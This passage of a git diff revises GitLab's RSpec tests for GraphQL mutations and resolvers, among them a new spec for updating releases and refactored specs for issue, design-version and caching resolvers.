+ let(:current_user) { non_project_member }
+
+ it_behaves_like 'unauthorized or not found error'
+ end
+ end
+ end
+end
diff --git a/spec/graphql/mutations/releases/update_spec.rb b/spec/graphql/mutations/releases/update_spec.rb
new file mode 100644
index 00000000000..0406e9c96f3
--- /dev/null
+++ b/spec/graphql/mutations/releases/update_spec.rb
@@ -0,0 +1,232 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Mutations::Releases::Update do
+ let_it_be(:project) { create(:project, :public, :repository) }
+ let_it_be(:milestone_12_3) { create(:milestone, project: project, title: '12.3') }
+ let_it_be(:milestone_12_4) { create(:milestone, project: project, title: '12.4') }
+ let_it_be(:reporter) { create(:user) }
+ let_it_be(:developer) { create(:user) }
+
+ let_it_be(:tag) { 'v1.1.0'}
+ let_it_be(:name) { 'Version 1.0'}
+ let_it_be(:description) { 'The first release :rocket:' }
+ let_it_be(:released_at) { Time.parse('2018-12-10').utc }
+ let_it_be(:created_at) { Time.parse('2018-11-05').utc }
+ let_it_be(:milestones) { [milestone_12_3.title, milestone_12_4.title] }
+
+ let_it_be(:release) do
+ create(:release, project: project, tag: tag, name: name,
+ description: description, released_at: released_at,
+ created_at: created_at, milestones: [milestone_12_3, milestone_12_4])
+ end
+
+ let(:mutation) { described_class.new(object: nil, context: { current_user: current_user }, field: nil) }
+
+ let(:mutation_arguments) do
+ {
+ project_path: project.full_path,
+ tag: tag
+ }
+ end
+
+ around do |example|
+ freeze_time { example.run }
+ end
+
+ before do
+ project.add_reporter(reporter)
+ project.add_developer(developer)
+ end
+
+ shared_examples 'no changes to the release except for the' do |except_for|
+ it 'does not change other release properties' do
+ expect(updated_release.project).to eq(project)
+ expect(updated_release.tag).to eq(tag)
+
+ expect(updated_release.name).to eq(name) unless except_for == :name
+ expect(updated_release.description).to eq(description) unless except_for == :description
+ expect(updated_release.released_at).to eq(released_at) unless except_for == :released_at
+
+ # Right now the milestones are returned in a non-deterministic order.
+ # Because of this, we need to allow for milestones to be returned in any order.
+ # Once https://gitlab.com/gitlab-org/gitlab/-/issues/259012 has been
+ # fixed, this can be updated to expect a specific order.
+ expect(updated_release.milestones).to match_array([milestone_12_3, milestone_12_4]) unless except_for == :milestones
+ end
+ end
+
+ shared_examples 'validation error with message' do |message|
+ it 'returns the updated release as nil' do
+ expect(updated_release).to be_nil
+ end
+
+ it 'returns a validation error' do
+ expect(subject[:errors]).to eq([message])
+ end
+ end
+
+ describe '#ready?' do
+ let(:current_user) { developer }
+
+ subject(:ready) do
+ mutation.ready?(**mutation_arguments)
+ end
+
+ context 'when released_at is included as an argument but is passed nil' do
+ let(:mutation_arguments) { super().merge(released_at: nil) }
+
+ it 'raises a validation error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ArgumentError, 'if the releasedAt argument is provided, it cannot be null')
+ end
+ end
+
+ context 'when milestones is included as an argument but is passed nil' do
+ let(:mutation_arguments) { super().merge(milestones: nil) }
+
+ it 'raises a validation error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ArgumentError, 'if the milestones argument is provided, it cannot be null')
+ end
+ end
+ end
+
+ describe '#resolve' do
+ subject(:resolve) do
+ mutation.resolve(**mutation_arguments)
+ end
+
+ let(:updated_release) { subject[:release] }
+
+ context 'when the current user has access to create releases' do
+ let(:current_user) { developer }
+
+ context 'name' do
+ let(:mutation_arguments) { super().merge(name: updated_name) }
+
+ context 'when a new name is provided' do
+ let(:updated_name) { 'Updated name' }
+
+ it 'updates the name' do
+ expect(updated_release.name).to eq(updated_name)
+ end
+
+ it_behaves_like 'no changes to the release except for the', :name
+ end
+
+ context 'when nil is provided' do
+ let(:updated_name) { nil }
+
+ it 'updates the name to be the tag name' do
+ expect(updated_release.name).to eq(tag)
+ end
+
+ it_behaves_like 'no changes to the release except for the', :name
+ end
+ end
+
+ context 'description' do
+ let(:mutation_arguments) { super().merge(description: updated_description) }
+
+ context 'when a new description is provided' do
+ let(:updated_description) { 'Updated description' }
+
+ it 'updates the description' do
+ expect(updated_release.description).to eq(updated_description)
+ end
+
+ it_behaves_like 'no changes to the release except for the', :description
+ end
+
+ context 'when nil is provided' do
+ let(:updated_description) { nil }
+
+ it 'updates the description to nil' do
+ expect(updated_release.description).to eq(nil)
+ end
+
+ it_behaves_like 'no changes to the release except for the', :description
+ end
+ end
+
+ context 'released_at' do
+ let(:mutation_arguments) { super().merge(released_at: updated_released_at) }
+
+ context 'when a new released_at is provided' do
+ let(:updated_released_at) { Time.parse('2020-12-10').utc }
+
+ it 'updates the released_at' do
+ expect(updated_release.released_at).to eq(updated_released_at)
+ end
+
+ it_behaves_like 'no changes to the release except for the', :released_at
+ end
+ end
+
+ context 'milestones' do
+ let(:mutation_arguments) { super().merge(milestones: updated_milestones) }
+
+ context 'when a new set of milestones is provided provided' do
+ let(:updated_milestones) { [milestone_12_3.title] }
+
+ it 'updates the milestone associations' do
+ expect(updated_release.milestones).to eq([milestone_12_3])
+ end
+
+ it_behaves_like 'no changes to the release except for the', :milestones
+ end
+
+ context 'when an empty array is provided' do
+ let(:updated_milestones) { [] }
+
+ it 'removes all milestone associations' do
+ expect(updated_release.milestones).to eq([])
+ end
+
+ it_behaves_like 'no changes to the release except for the', :milestones
+ end
+
+ context 'when a non-existent milestone title is provided' do
+ let(:updated_milestones) { ['not real'] }
+
+ it_behaves_like 'validation error with message', 'Milestone(s) not found: not real'
+ end
+
+ context 'when a milestone title from a different project is provided' do
+ let(:milestone_in_different_project) { create(:milestone, title: 'milestone in different project') }
+ let(:updated_milestones) { [milestone_in_different_project.title] }
+
+ it_behaves_like 'validation error with message', 'Milestone(s) not found: milestone in different project'
+ end
+ end
+
+ context 'validation' do
+ context 'when no updated fields are provided' do
+ it_behaves_like 'validation error with message', 'params is empty'
+ end
+
+ context 'when the tag does not exist' do
+ let(:mutation_arguments) { super().merge(tag: 'not-a-real-tag') }
+
+ it_behaves_like 'validation error with message', 'Tag does not exist'
+ end
+
+ context 'when the project does not exist' do
+ let(:mutation_arguments) { super().merge(project_path: 'not/a/real/path') }
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable, "The resource that you are attempting to access does not exist or you don't have permission to perform this action")
+ end
+ end
+ end
+ end
+
+ context "when the current user doesn't have access to update releases" do
+ let(:current_user) { reporter }
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable, "The resource that you are attempting to access does not exist or you don't have permission to perform this action")
+ end
+ end
+ end
+end
diff --git a/spec/graphql/resolvers/alert_management/alert_resolver_spec.rb b/spec/graphql/resolvers/alert_management/alert_resolver_spec.rb
index 42830f0024d..c042f6dac19 100644
--- a/spec/graphql/resolvers/alert_management/alert_resolver_spec.rb
+++ b/spec/graphql/resolvers/alert_management/alert_resolver_spec.rb
@@ -33,11 +33,21 @@ RSpec.describe Resolvers::AlertManagement::AlertResolver do
end
context 'finding by status' do
- let(:args) { { status: [Types::AlertManagement::StatusEnum.values['IGNORED'].value] } }
+ let(:args) { { statuses: [Types::AlertManagement::StatusEnum.values['IGNORED'].value] } }
it { is_expected.to contain_exactly(ignored_alert) }
end
+ context 'filtering by domain' do
+ let_it_be(:alert1) { create(:alert_management_alert, project: project, monitoring_tool: 'Cilium', domain: :threat_monitoring) }
+ let_it_be(:alert2) { create(:alert_management_alert, project: project, monitoring_tool: 'Cilium', domain: :threat_monitoring) }
+ let_it_be(:alert3) { create(:alert_management_alert, project: project, monitoring_tool: 'generic') }
+
+ let(:args) { { domain: 'operations' } }
+
+ it { is_expected.to contain_exactly(resolved_alert, ignored_alert, alert3) }
+ end
+
describe 'sorting' do
# Other sorting examples in spec/finders/alert_management/alerts_finder_spec.rb
context 'when sorting by events count' do
diff --git a/spec/graphql/resolvers/base_resolver_spec.rb b/spec/graphql/resolvers/base_resolver_spec.rb
index e5b9fb57e42..8a24b69eb6f 100644
--- a/spec/graphql/resolvers/base_resolver_spec.rb
+++ b/spec/graphql/resolvers/base_resolver_spec.rb
@@ -273,4 +273,12 @@ RSpec.describe Resolvers::BaseResolver do
end
end
end
+
+ describe '#offset_pagination' do
+ let(:instance) { resolver_instance(resolver) }
+
+ it 'is sugar for OffsetActiveRecordRelationConnection.new' do
+ expect(instance.offset_pagination(User.none)).to be_a(::Gitlab::Graphql::Pagination::OffsetActiveRecordRelationConnection)
+ end
+ end
end
diff --git a/spec/graphql/resolvers/board_list_issues_resolver_spec.rb b/spec/graphql/resolvers/board_list_issues_resolver_spec.rb
index 4ccf194522f..e7c56a526f4 100644
--- a/spec/graphql/resolvers/board_list_issues_resolver_spec.rb
+++ b/spec/graphql/resolvers/board_list_issues_resolver_spec.rb
@@ -29,7 +29,7 @@ RSpec.describe Resolvers::BoardListIssuesResolver do
end
it 'finds only issues matching filters' do
- result = resolve_board_list_issues(args: { filters: { label_name: label.title, not: { label_name: label2.title } } }).items
+ result = resolve_board_list_issues(args: { filters: { label_name: [label.title], not: { label_name: [label2.title] } } }).items
expect(result).to match_array([issue1, issue3])
end
diff --git a/spec/graphql/resolvers/board_lists_resolver_spec.rb b/spec/graphql/resolvers/board_lists_resolver_spec.rb
index c1d8041a1e0..71ebec4dc7e 100644
--- a/spec/graphql/resolvers/board_lists_resolver_spec.rb
+++ b/spec/graphql/resolvers/board_lists_resolver_spec.rb
@@ -29,9 +29,7 @@ RSpec.describe Resolvers::BoardListsResolver do
context 'with unauthorized user' do
it 'raises an error' do
- expect do
- resolve_board_lists(current_user: unauth_user)
- end.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ expect(resolve_board_lists(current_user: unauth_user)).to be_nil
end
end
@@ -101,12 +99,6 @@ RSpec.describe Resolvers::BoardListsResolver do
end
def resolve_board_lists(args: {}, current_user: user)
- context = GraphQL::Query::Context.new(
- query: OpenStruct.new(schema: nil),
- values: { current_user: current_user },
- object: nil
- )
-
- resolve(described_class, obj: board, args: args, ctx: context )
+ resolve(described_class, obj: board, args: args, ctx: { current_user: current_user })
end
end
diff --git a/spec/graphql/resolvers/ci/config_resolver_spec.rb b/spec/graphql/resolvers/ci/config_resolver_spec.rb
new file mode 100644
index 00000000000..6911acdb4ec
--- /dev/null
+++ b/spec/graphql/resolvers/ci/config_resolver_spec.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Resolvers::Ci::ConfigResolver do
+ include GraphqlHelpers
+
+ describe '#resolve' do
+ before do
+ yaml_processor_double = instance_double(::Gitlab::Ci::YamlProcessor)
+ allow(yaml_processor_double).to receive(:execute).and_return(fake_result)
+
+ allow(::Gitlab::Ci::YamlProcessor).to receive(:new).and_return(yaml_processor_double)
+ end
+
+ context 'with a valid .gitlab-ci.yml' do
+ let(:fake_result) do
+ ::Gitlab::Ci::YamlProcessor::Result.new(
+ ci_config: ::Gitlab::Ci::Config.new(content),
+ errors: [],
+ warnings: []
+ )
+ end
+
+ let_it_be(:content) do
+ File.read(Rails.root.join('spec/support/gitlab_stubs/gitlab_ci_includes.yml'))
+ end
+
+ it 'lints the ci config file' do
+ response = resolve(described_class, args: { content: content }, ctx: {})
+
+ expect(response[:status]).to eq(:valid)
+ expect(response[:errors]).to be_empty
+ end
+ end
+
+ context 'with an invalid .gitlab-ci.yml' do
+ let(:content) { 'invalid' }
+
+ let(:fake_result) do
+ Gitlab::Ci::YamlProcessor::Result.new(
+ ci_config: nil,
+ errors: ['Invalid configuration format'],
+ warnings: []
+ )
+ end
+
+ it 'responds with errors about invalid syntax' do
+ response = resolve(described_class, args: { content: content }, ctx: {})
+
+ expect(response[:status]).to eq(:invalid)
+ expect(response[:errors]).to eq(['Invalid configuration format'])
+ end
+ end
+ end
+end
diff --git a/spec/graphql/resolvers/ci/jobs_resolver_spec.rb b/spec/graphql/resolvers/ci/jobs_resolver_spec.rb
index a836c89bd61..46ee74a5f7e 100644
--- a/spec/graphql/resolvers/ci/jobs_resolver_spec.rb
+++ b/spec/graphql/resolvers/ci/jobs_resolver_spec.rb
@@ -17,10 +17,14 @@ RSpec.describe Resolvers::Ci::JobsResolver do
describe '#resolve' do
context 'when security_report_types is empty' do
it "returns all of the pipeline's jobs" do
- jobs = resolve(described_class, obj: pipeline, args: {}, ctx: {})
-
- job_names = jobs.map(&:name)
- expect(job_names).to contain_exactly('Normal job', 'DAST job', 'SAST job', 'Container scanning job')
+ jobs = resolve(described_class, obj: pipeline)
+
+ expect(jobs).to contain_exactly(
+ have_attributes(name: 'Normal job'),
+ have_attributes(name: 'DAST job'),
+ have_attributes(name: 'SAST job'),
+ have_attributes(name: 'Container scanning job')
+ )
end
end
@@ -30,10 +34,12 @@ RSpec.describe Resolvers::Ci::JobsResolver do
::Types::Security::ReportTypeEnum.values['SAST'].value,
::Types::Security::ReportTypeEnum.values['DAST'].value
]
- jobs = resolve(described_class, obj: pipeline, args: { security_report_types: report_types }, ctx: {})
+ jobs = resolve(described_class, obj: pipeline, args: { security_report_types: report_types })
- job_names = jobs.map(&:name)
- expect(job_names).to contain_exactly('DAST job', 'SAST job')
+ expect(jobs).to contain_exactly(
+ have_attributes(name: 'DAST job'),
+ have_attributes(name: 'SAST job')
+ )
end
end
end
diff --git a/spec/graphql/resolvers/commit_pipelines_resolver_spec.rb b/spec/graphql/resolvers/commit_pipelines_resolver_spec.rb
index a408981c08e..241a9e58147 100644
--- a/spec/graphql/resolvers/commit_pipelines_resolver_spec.rb
+++ b/spec/graphql/resolvers/commit_pipelines_resolver_spec.rb
@@ -50,6 +50,6 @@ RSpec.describe Resolvers::CommitPipelinesResolver do
it 'resolves pipelines for commit and ref' do
pipelines = resolve_pipelines
- expect(pipelines).to eq([pipeline2, pipeline])
+ expect(pipelines.to_a).to eq([pipeline2, pipeline])
end
end
diff --git a/spec/graphql/resolvers/concerns/caching_array_resolver_spec.rb b/spec/graphql/resolvers/concerns/caching_array_resolver_spec.rb
index b6fe94a2312..5370f7a7433 100644
--- a/spec/graphql/resolvers/concerns/caching_array_resolver_spec.rb
+++ b/spec/graphql/resolvers/concerns/caching_array_resolver_spec.rb
@@ -4,18 +4,25 @@ require 'spec_helper'
RSpec.describe ::CachingArrayResolver do
include GraphqlHelpers
+ include Gitlab::Graphql::Laziness
- let_it_be(:non_admins) { create_list(:user, 4, admin: false) }
- let(:query_context) { {} }
+ let_it_be(:admins) { create_list(:user, 4, admin: true) }
+ let(:query_context) { { current_user: admins.first } }
let(:max_page_size) { 10 }
let(:field) { double('Field', max_page_size: max_page_size) }
- let(:schema) { double('Schema', default_max_page_size: 3) }
+ let(:schema) do
+ Class.new(GitlabSchema) do
+ default_max_page_size 3
+ end
+ end
let_it_be(:caching_resolver) do
mod = described_class
Class.new(::Resolvers::BaseResolver) do
include mod
+ type [::Types::UserType], null: true
+ argument :is_admin, ::GraphQL::BOOLEAN_TYPE, required: false
def query_input(is_admin:)
is_admin
@@ -44,6 +51,8 @@ RSpec.describe ::CachingArrayResolver do
Class.new(::Resolvers::BaseResolver) do
include mod
+ type [::Types::UserType], null: true
+ argument :username, ::GraphQL::STRING_TYPE, required: false
def query_input(username:)
username
@@ -72,7 +81,7 @@ RSpec.describe ::CachingArrayResolver do
expect(User).to receive(:from_union).twice.and_call_original
results = users.in_groups_of(2, false).map do |users|
- resolve(resolver, args: { username: users.map(&:username) }, field: field, schema: schema)
+ resolve(resolver, args: { username: users.map(&:username) }, schema: schema)
end
expect(results.flat_map(&method(:force))).to match_array(users)
@@ -80,19 +89,19 @@ RSpec.describe ::CachingArrayResolver do
end
context 'all queries return results' do
- let_it_be(:admins) { create_list(:admin, 3) }
+ let_it_be(:non_admins) { create_list(:user, 3, admin: false) }
it 'batches the queries' do
expect do
- [resolve_users(true), resolve_users(false)].each(&method(:force))
- end.to issue_same_number_of_queries_as { force(resolve_users(nil)) }
+ [resolve_users(admin: true), resolve_users(admin: false)].each(&method(:force))
+ end.to issue_same_number_of_queries_as { force(resolve_users(admin: nil)) }
end
it 'finds the correct values' do
- found_admins = resolve_users(true)
- found_others = resolve_users(false)
- admins_again = resolve_users(true)
- found_all = resolve_users(nil)
+ found_admins = resolve_users(admin: true)
+ found_others = resolve_users(admin: false)
+ admins_again = resolve_users(admin: true)
+ found_all = resolve_users(admin: nil)
expect(force(found_admins)).to match_array(admins)
expect(force(found_others)).to match_array(non_admins)
@@ -104,37 +113,37 @@ RSpec.describe ::CachingArrayResolver do
it 'does not perform a union of a query with itself' do
expect(User).to receive(:where).once.and_call_original
- [resolve_users(false), resolve_users(false)].each(&method(:force))
+ [resolve_users(admin: false), resolve_users(admin: false)].each(&method(:force))
end
context 'one of the queries returns no results' do
it 'finds the correct values' do
- found_admins = resolve_users(true)
- found_others = resolve_users(false)
- found_all = resolve_users(nil)
+ found_admins = resolve_users(admin: true)
+ found_others = resolve_users(admin: false)
+ found_all = resolve_users(admin: nil)
- expect(force(found_admins)).to be_empty
- expect(force(found_others)).to match_array(non_admins)
- expect(force(found_all)).to match_array(non_admins)
+ expect(force(found_admins)).to match_array(admins)
+ expect(force(found_others)).to be_empty
+ expect(force(found_all)).to match_array(admins)
end
end
context 'one of the queries has already been cached' do
before do
- force(resolve_users(nil))
+ force(resolve_users(admin: nil))
end
it 'avoids further queries' do
expect do
- repeated_find = resolve_users(nil)
+ repeated_find = resolve_users(admin: nil)
- expect(force(repeated_find)).to match_array(non_admins)
+ expect(force(repeated_find)).to match_array(admins)
end.not_to exceed_query_limit(0)
end
end
context 'the resolver overrides item_found' do
- let_it_be(:admins) { create_list(:admin, 2) }
+ let_it_be(:non_admins) { create_list(:user, 2, admin: false) }
let(:query_context) do
{
found: { true => [], false => [], nil => [] }
@@ -150,14 +159,14 @@ RSpec.describe ::CachingArrayResolver do
end
it 'receives item_found for each key the item mapped to' do
- found_admins = resolve_users(true, with_item_found)
- found_all = resolve_users(nil, with_item_found)
+ found_admins = resolve_users(admin: true, resolver: with_item_found)
+ found_all = resolve_users(admin: nil, resolver: with_item_found)
[found_admins, found_all].each(&method(:force))
expect(query_context[:found]).to match({
- false => be_empty,
true => match_array(admins),
+ false => be_empty,
nil => match_array(admins + non_admins)
})
end
@@ -167,11 +176,11 @@ RSpec.describe ::CachingArrayResolver do
let(:max_page_size) { 2 }
it 'respects the max_page_size, on a per subset basis' do
- found_all = resolve_users(nil)
- found_others = resolve_users(false)
+ found_all = resolve_users(admin: nil)
+ found_admins = resolve_users(admin: true)
expect(force(found_all).size).to eq(2)
- expect(force(found_others).size).to eq(2)
+ expect(force(found_admins).size).to eq(2)
end
end
@@ -179,11 +188,11 @@ RSpec.describe ::CachingArrayResolver do
let(:max_page_size) { nil }
it 'takes the page size from schema.default_max_page_size' do
- found_all = resolve_users(nil)
- found_others = resolve_users(false)
+ found_all = resolve_users(admin: nil)
+ found_admins = resolve_users(admin: true)
expect(force(found_all).size).to eq(schema.default_max_page_size)
- expect(force(found_others).size).to eq(schema.default_max_page_size)
+ expect(force(found_admins).size).to eq(schema.default_max_page_size)
end
end
@@ -197,12 +206,10 @@ RSpec.describe ::CachingArrayResolver do
end
end
- def resolve_users(is_admin, resolver = caching_resolver)
- args = { is_admin: is_admin }
- resolve(resolver, args: args, field: field, ctx: query_context, schema: schema)
- end
-
- def force(lazy)
- ::Gitlab::Graphql::Lazy.force(lazy)
+ def resolve_users(admin:, resolver: caching_resolver)
+ args = { is_admin: admin }
+ opts = resolver.field_options
+ allow(resolver).to receive(:field_options).and_return(opts.merge(max_page_size: max_page_size))
+ resolve(resolver, args: args, ctx: query_context, schema: schema, field: field)
end
end
diff --git a/spec/graphql/resolvers/concerns/looks_ahead_spec.rb b/spec/graphql/resolvers/concerns/looks_ahead_spec.rb
index ebea9e5522b..27ac1572cab 100644
--- a/spec/graphql/resolvers/concerns/looks_ahead_spec.rb
+++ b/spec/graphql/resolvers/concerns/looks_ahead_spec.rb
@@ -14,7 +14,7 @@ RSpec.describe LooksAhead do
# Simplified schema to test lookahead
let_it_be(:schema) do
- issues_resolver = Class.new(Resolvers::BaseResolver) do
+ issues_resolver = Class.new(GraphQL::Schema::Resolver) do
include LooksAhead
def resolve_with_lookahead(**args)
@@ -41,7 +41,6 @@ RSpec.describe LooksAhead do
field :issues, issue.connection_type,
null: true
field :issues_with_lookahead, issue.connection_type,
- extras: [:lookahead],
resolver: issues_resolver,
null: true
end
diff --git a/spec/graphql/resolvers/design_management/version/design_at_version_resolver_spec.rb b/spec/graphql/resolvers/design_management/version/design_at_version_resolver_spec.rb
index 850b9f8cc87..cc7e2f6814a 100644
--- a/spec/graphql/resolvers/design_management/version/design_at_version_resolver_spec.rb
+++ b/spec/graphql/resolvers/design_management/version/design_at_version_resolver_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe Resolvers::DesignManagement::Version::DesignAtVersionResolver do
let(:all_singular_args) do
{
- design_at_version_id: global_id_of(dav(design)),
+ id: global_id_of(dav(design)),
design_id: global_id_of(design),
filename: design.filename
}
@@ -50,7 +50,7 @@ RSpec.describe Resolvers::DesignManagement::Version::DesignAtVersionResolver do
end
end
- %i[design_at_version_id design_id filename].each do |arg|
+ %i[id design_id filename].each do |arg|
describe "passing #{arg}" do
let(:args) { all_singular_args.slice(arg) }
@@ -71,7 +71,7 @@ RSpec.describe Resolvers::DesignManagement::Version::DesignAtVersionResolver do
describe 'attempting to retrieve an object not visible at this version' do
let(:design) { design_d }
- %i[design_at_version_id design_id filename].each do |arg|
+ %i[id design_id filename].each do |arg|
describe "passing #{arg}" do
let(:args) { all_singular_args.slice(arg) }
diff --git a/spec/graphql/resolvers/design_management/version_in_collection_resolver_spec.rb b/spec/graphql/resolvers/design_management/version_in_collection_resolver_spec.rb
index 403261fc22a..b0fc78af2af 100644
--- a/spec/graphql/resolvers/design_management/version_in_collection_resolver_spec.rb
+++ b/spec/graphql/resolvers/design_management/version_in_collection_resolver_spec.rb
@@ -32,7 +32,7 @@ RSpec.describe Resolvers::DesignManagement::VersionInCollectionResolver do
end
context 'we pass an id' do
- let(:params) { { version_id: global_id_of(first_version) } }
+ let(:params) { { id: global_id_of(first_version) } }
it { is_expected.to eq(first_version) }
end
@@ -44,13 +44,13 @@ RSpec.describe Resolvers::DesignManagement::VersionInCollectionResolver do
end
context 'we pass an inconsistent mixture of sha and version id' do
- let(:params) { { sha: first_version.sha, version_id: global_id_of(create(:design_version)) } }
+ let(:params) { { sha: first_version.sha, id: global_id_of(create(:design_version)) } }
it { is_expected.to be_nil }
end
context 'we pass the id of something that is not a design_version' do
- let(:params) { { version_id: global_id_of(project) } }
+ let(:params) { { id: global_id_of(project) } }
let(:appropriate_error) { ::GraphQL::CoercionError }
it 'raises an appropriate error' do
diff --git a/spec/graphql/resolvers/design_management/versions_resolver_spec.rb b/spec/graphql/resolvers/design_management/versions_resolver_spec.rb
index 5bc1c555e9a..23d4d86c79a 100644
--- a/spec/graphql/resolvers/design_management/versions_resolver_spec.rb
+++ b/spec/graphql/resolvers/design_management/versions_resolver_spec.rb
@@ -27,7 +27,7 @@ RSpec.describe Resolvers::DesignManagement::VersionsResolver do
end
shared_examples 'a source of versions' do
- subject(:result) { resolve_versions(object) }
+ subject(:result) { resolve_versions(object)&.to_a }
let_it_be(:all_versions) { object.versions.ordered }
@@ -39,7 +39,7 @@ RSpec.describe Resolvers::DesignManagement::VersionsResolver do
context 'without constraints' do
it 'returns the ordered versions' do
- expect(result).to eq(all_versions)
+ expect(result.to_a).to eq(all_versions)
end
end
@@ -51,13 +51,13 @@ RSpec.describe Resolvers::DesignManagement::VersionsResolver do
end
context 'by earlier_or_equal_to_id' do
- let(:params) { { id: global_id_of(first_version) } }
+ let(:params) { { earlier_or_equal_to_id: global_id_of(first_version) } }
it_behaves_like 'a query for all_versions up to the first_version'
end
context 'by earlier_or_equal_to_sha' do
- let(:params) { { sha: first_version.sha } }
+ let(:params) { { earlier_or_equal_to_sha: first_version.sha } }
it_behaves_like 'a query for all_versions up to the first_version'
end
@@ -68,8 +68,8 @@ RSpec.describe Resolvers::DesignManagement::VersionsResolver do
# return successfully
let(:params) do
{
- sha: first_version.sha,
- id: global_id_of(first_version)
+ earlier_or_equal_to_sha: first_version.sha,
+ earlier_or_equal_to_id: global_id_of(first_version)
}
end
@@ -79,8 +79,8 @@ RSpec.describe Resolvers::DesignManagement::VersionsResolver do
context 'and they do not match' do
let(:params) do
{
- sha: first_version.sha,
- id: global_id_of(other_version)
+ earlier_or_equal_to_sha: first_version.sha,
+ earlier_or_equal_to_id: global_id_of(other_version)
}
end
@@ -111,7 +111,7 @@ RSpec.describe Resolvers::DesignManagement::VersionsResolver do
end
def resolve_versions(obj, context = { current_user: current_user })
- eager_resolve(resolver, obj: obj, args: params.merge(parent: parent), ctx: context)
+ eager_resolve(resolver, obj: obj, parent: parent, args: params, ctx: context)
end
end
end
diff --git a/spec/graphql/resolvers/error_tracking/sentry_errors_resolver_spec.rb b/spec/graphql/resolvers/error_tracking/sentry_errors_resolver_spec.rb
index edca11f40d7..170a602fb0d 100644
--- a/spec/graphql/resolvers/error_tracking/sentry_errors_resolver_spec.rb
+++ b/spec/graphql/resolvers/error_tracking/sentry_errors_resolver_spec.rb
@@ -88,8 +88,8 @@ RSpec.describe Resolvers::ErrorTracking::SentryErrorsResolver do
it 'sets the pagination variables' do
result = resolve_errors
- expect(result.next_cursor).to eq 'next'
- expect(result.previous_cursor).to eq 'prev'
+ expect(result.end_cursor).to eq 'next'
+ expect(result.start_cursor).to eq 'prev'
end
it 'returns an externally paginated array' do
diff --git a/spec/graphql/resolvers/issue_status_counts_resolver_spec.rb b/spec/graphql/resolvers/issue_status_counts_resolver_spec.rb
index 16eb190efc6..decc3569d6c 100644
--- a/spec/graphql/resolvers/issue_status_counts_resolver_spec.rb
+++ b/spec/graphql/resolvers/issue_status_counts_resolver_spec.rb
@@ -62,22 +62,13 @@ RSpec.describe Resolvers::IssueStatusCountsResolver do
end
it 'filters by issue type', :aggregate_failures do
- result = resolve_issue_status_counts(issue_types: ['incident'])
+ result = resolve_issue_status_counts(types: ['incident'])
expect(result.all).to eq 1
expect(result.opened).to eq 0
expect(result.closed).to eq 1
end
- # The state param is ignored in IssuableFinder#count_by_state
- it 'ignores state filter', :aggregate_failures do
- result = resolve_issue_status_counts(state: 'closed')
-
- expect(result.all).to eq 2
- expect(result.opened).to eq 1
- expect(result.closed).to eq 1
- end
-
private
def resolve_issue_status_counts(args = {}, context = { current_user: current_user })
diff --git a/spec/graphql/resolvers/issues_resolver_spec.rb b/spec/graphql/resolvers/issues_resolver_spec.rb
index 43cbd4d2bdd..f6f746a8572 100644
--- a/spec/graphql/resolvers/issues_resolver_spec.rb
+++ b/spec/graphql/resolvers/issues_resolver_spec.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
RSpec.describe Resolvers::IssuesResolver do
include GraphqlHelpers
- let(:current_user) { create(:user) }
+ let_it_be(:current_user) { create(:user) }
let_it_be(:group) { create(:group) }
let_it_be(:project) { create(:project, group: group) }
@@ -25,7 +25,7 @@ RSpec.describe Resolvers::IssuesResolver do
end
context "with a project" do
- before do
+ before_all do
project.add_developer(current_user)
create(:label_link, label: label1, target: issue1)
create(:label_link, label: label1, target: issue2)
@@ -43,11 +43,11 @@ RSpec.describe Resolvers::IssuesResolver do
end
it 'filters by milestone' do
- expect(resolve_issues(milestone_title: milestone.title)).to contain_exactly(issue1)
+ expect(resolve_issues(milestone_title: [milestone.title])).to contain_exactly(issue1)
end
it 'filters by assignee_username' do
- expect(resolve_issues(assignee_username: assignee.username)).to contain_exactly(issue2)
+ expect(resolve_issues(assignee_username: [assignee.username])).to contain_exactly(issue2)
end
it 'filters by two assignees' do
@@ -112,15 +112,19 @@ RSpec.describe Resolvers::IssuesResolver do
describe 'filters by issue_type' do
it 'filters by a single type' do
- expect(resolve_issues(issue_types: ['incident'])).to contain_exactly(issue1)
+ expect(resolve_issues(types: %w[incident])).to contain_exactly(issue1)
+ end
+
+ it 'filters by a single type, negative assertion' do
+ expect(resolve_issues(types: %w[issue])).not_to include(issue1)
end
it 'filters by more than one type' do
- expect(resolve_issues(issue_types: %w(incident issue))).to contain_exactly(issue1, issue2)
+ expect(resolve_issues(types: %w[incident issue])).to contain_exactly(issue1, issue2)
end
it 'ignores the filter if none given' do
- expect(resolve_issues(issue_types: [])).to contain_exactly(issue1, issue2)
+ expect(resolve_issues(types: [])).to contain_exactly(issue1, issue2)
end
end
@@ -143,44 +147,44 @@ RSpec.describe Resolvers::IssuesResolver do
describe 'sorting' do
context 'when sorting by created' do
it 'sorts issues ascending' do
- expect(resolve_issues(sort: 'created_asc')).to eq [issue1, issue2]
+ expect(resolve_issues(sort: 'created_asc').to_a).to eq [issue1, issue2]
end
it 'sorts issues descending' do
- expect(resolve_issues(sort: 'created_desc')).to eq [issue2, issue1]
+ expect(resolve_issues(sort: 'created_desc').to_a).to eq [issue2, issue1]
end
end
context 'when sorting by due date' do
- let_it_be(:project) { create(:project) }
+ let_it_be(:project) { create(:project, :public) }
let_it_be(:due_issue1) { create(:issue, project: project, due_date: 3.days.from_now) }
let_it_be(:due_issue2) { create(:issue, project: project, due_date: nil) }
let_it_be(:due_issue3) { create(:issue, project: project, due_date: 2.days.ago) }
let_it_be(:due_issue4) { create(:issue, project: project, due_date: nil) }
it 'sorts issues ascending' do
- expect(resolve_issues(sort: :due_date_asc)).to eq [due_issue3, due_issue1, due_issue4, due_issue2]
+ expect(resolve_issues(sort: :due_date_asc).to_a).to eq [due_issue3, due_issue1, due_issue4, due_issue2]
end
it 'sorts issues descending' do
- expect(resolve_issues(sort: :due_date_desc)).to eq [due_issue1, due_issue3, due_issue4, due_issue2]
